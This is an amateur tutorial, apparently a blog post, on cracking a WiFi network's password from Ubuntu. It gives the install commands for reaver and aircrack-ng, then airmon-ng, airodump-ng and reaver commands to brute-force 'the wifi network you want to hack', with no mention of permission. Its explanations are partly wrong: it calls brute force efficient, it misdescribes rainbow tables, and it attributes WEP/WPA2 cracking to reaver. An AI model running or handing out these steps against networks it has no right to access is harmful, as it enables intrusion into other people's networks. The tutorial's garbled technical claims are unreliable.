How to hack a wifi network(WEP / WPA2) using linux (in my case ubuntu)

To hack the wifi password with WEP/WPA2, you gonna need following programs.

1. reaver - This is free tools which can be downloaded on linux for free by typing following command on linux terminal

$ sudo apt-get install reaver

2. aircrack-ng - It is also a free tool for linux and is also available for windows, it can downloaded by using dollowing command

$ sudo apt-get install aircrack-ng


This hacking method used bruteforce, that means it is going to take lot of time, may be sometimes a day, but will surely provide you with the password unlike the dictionary hack, which it inefficient if the password is not made by words in dictionary.
For those, who don't know what brute force, dictionary or rainbow hack is?
Brute Force is very old fashioned and efficient way of hacking but time consuming. It tries every possible combination of words, letters, symbols, numbers and finally gave the password.
Dictionary hack uses the dictionary for hacking the password, it tries all the combination of words available in dictionary and if the password is combination of dictionary words, then this method is the best method to hack any password.
Rainbow hack is somewhat the combination of rainbow and brute force, it removes certain words to be searched for password based on the dictionary and it is thus more efficient than brute force and dictionary hack, in general cases.

Now to hack the wifi password, follow the following steps.

1.  First open the wlan port where you will hack your wifi, this is done by following command on the terminal
$ airmon-ng start wlan0

2. Now, we have to list all the wifi network available
$ airodump-ng mon0

3. Now copy the bssid of the wifi network you want to hack and use in iplace of <bssid> in following command
$ reaver -i mon0 -b <bssid>

Now, the brute force will start and password will be hacked in sometime, depending on the length and complexity of password.